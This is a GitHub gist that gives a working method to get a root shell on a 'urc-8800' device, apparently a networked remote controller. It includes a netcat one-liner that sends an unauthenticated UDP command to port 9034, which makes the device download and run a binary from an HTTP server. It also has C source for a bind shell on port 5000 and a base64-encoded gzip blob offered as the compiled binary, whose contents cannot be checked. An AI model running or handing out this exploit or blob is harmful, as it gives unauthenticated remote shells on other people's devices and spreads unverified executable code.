Skip to content

Instantly share code, notes, and snippets.

@shiona
Created November 5, 2019 10:17
Show Gist options
  • Select an option

  • Save shiona/7017769b23270a4ae28868baefacda00 to your computer and use it in GitHub Desktop.

Select an option

Save shiona/7017769b23270a4ae28868baefacda00 to your computer and use it in GitHub Desktop.
shell for urc-8800
You can compile the source, but you need a compatible buildchain.
One can be found at https://github.com/jlaunonen/mips-linux-uclibc
to unpack the shell:
base64 -d shell.gzip.b64 | gunzip -c > shell
to upload the shell to the device it needs to be served over http(s).
You are free to use whatever, python3 can be used with:
python3 -m http.server (in the same directory as the shell binary)
tell the device to download the binary and execute it with:
echo "wget -O /tmp/shell http://server_ip:port/shell; chmod +x /tmp/shell; /tmp/shell &" | nc -u device_ip 9034
Connect to the server with
nc device_ip 5000
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <string.h>
int main(int argc, char *argv[])
{
int listenfd = 0, connfd = 0;
struct sockaddr_in *serv_addr;
listenfd = socket(AF_INET, SOCK_STREAM, 0);
serv_addr = malloc(sizeof(struct sockaddr_in));
memset(serv_addr, '0', sizeof(struct sockaddr_in));
serv_addr->sin_family = AF_INET;
serv_addr->sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr->sin_port = htons(5000);
bind(listenfd, (struct sockaddr *) serv_addr, sizeof(struct sockaddr_in));
listen(listenfd, 10);
while(1)
{
connfd = accept(listenfd, (struct sockaddr*)NULL, NULL);
dup2(connfd, 0);
dup2(connfd, 1);
dup2(connfd, 2);
execl("/bin/sh", "/bin/busybox", "sh", "-i", (char*) NULL);
close(connfd);
sleep(1);
}
}
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
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment